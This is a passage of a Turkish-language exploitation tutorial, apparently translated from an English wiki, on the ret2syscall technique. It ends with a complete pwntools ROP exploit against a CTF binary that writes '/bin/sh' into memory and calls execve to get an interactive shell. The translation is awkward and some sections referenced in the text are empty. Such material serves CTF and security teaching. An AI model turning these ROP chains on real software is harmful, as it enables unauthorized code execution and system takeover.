Ret2syscall
Ret2syscall
Temel Bilgiler
Bu, Ret2lib'e benzer, ancak bu durumda bir kütüphaneden bir işlev çağırmayacağız. Bu durumda, sys_execve
sistem çağrısını çağırmak için bazı argümanlarla yapılandırılmış her şeyi çağırmak için hazırlanacaktır ve /bin/sh
'yi yürütmek için. Bu teknik genellikle statik olarak derlenen ikili dosyalarda gerçekleştirilir, bu nedenle birçok aygıt ve sistem çağrısı talimatı olabilir.
Syscall için çağrının hazırlanması için aşağıdaki yapılandırmaya ihtiyaç vardır:
rax: 59 sys_execve'yi belirtin
rdi: "/bin/sh" için işlem yapılacak dosyanın işaretçisini belirtin
rsi: 0 argüman geçirilmediğini belirtin
rdx: 0 ortam değişkeni geçirilmediğini belirtin
Yani, temelde /bin/sh
dizesini bir yere yazmak ve ardından syscall
işlemini gerçekleştirmek gerekmektedir (yığını kontrol etmek için gereken dolgu miktarını bilerek). Bunun için, /bin/sh
dizesini bilinen bir alana yazmak için bir aygıta ihtiyacımız vardır.
Çağrılacak başka ilginç bir sistem çağrısı mprotect
olabilir, bu, bir saldırganın bellekte bir sayfanın izinlerini değiştirmesine izin verir. Bu, ret2shellcode ile birleştirilebilir.
Register aygıtları
Başlayalım ve bu kayıtları nasıl kontrol edeceğimizi bulalım:
Bu adreslerle yığında içerik yazmak ve onu kayıtlara yüklemek mümkün.
Dize yaz
Yazılabilir bellek
İlk olarak bellekte yazılabilir bir yer bulmanız gerekmektedir.
Belleğe Dize Yazma
Ardından bu adrese isteğe bağlı içerik yazmak için bir yol bulmanız gerekmektedir.
ROP zincirini otomatikleştir
Aşağıdaki komut, yazma-ne-nerede gadget'ları ve sistem çağrısı talimatları olduğunda sabit bir ikili dosya verildiğinde tam bir sys_execve
ROP zinciri oluşturur:
32 bit
64 bit
Eksik Cihazlar
Eğer cihazlarınız eksikse, örneğin belleğe /bin/sh
yazmak için, SROP tekniğini kullanabilirsiniz tüm kayıt değerlerini kontrol etmek için (RIP ve parametre kayıtları dahil) yığından:
```python from pwn import *
target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad')
Establish our ROP Gadgets
popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5)
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
Our syscall gadget
syscall = p64(0x40129c)
''' Here is the assembly equivalent for these blocks write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800 pop rax, 0x6b6000 mov qword ptr [rax], rdx ''' rop = '' rop += popRdx rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end rop += popRax rop += p64(0x6b6000) rop += writeGadget
''' Prep the four registers with their arguments, and make the syscall
pop rax, 0x3b pop rdi, 0x6b6000 pop rsi, 0x0 pop rdx, 0x0
syscall '''
rop += popRax rop += p64(0x3b)
rop += popRdi rop += p64(0x6b6000)
rop += popRsi rop += p64(0) rop += popRdx rop += p64(0)
rop += syscall
Add the padding to the saved return address
payload = "0"*0x408 + rop
Send the payload, drop to an interactive shell to use our new shell
target.sendline(payload)
target.interactive()
Last updated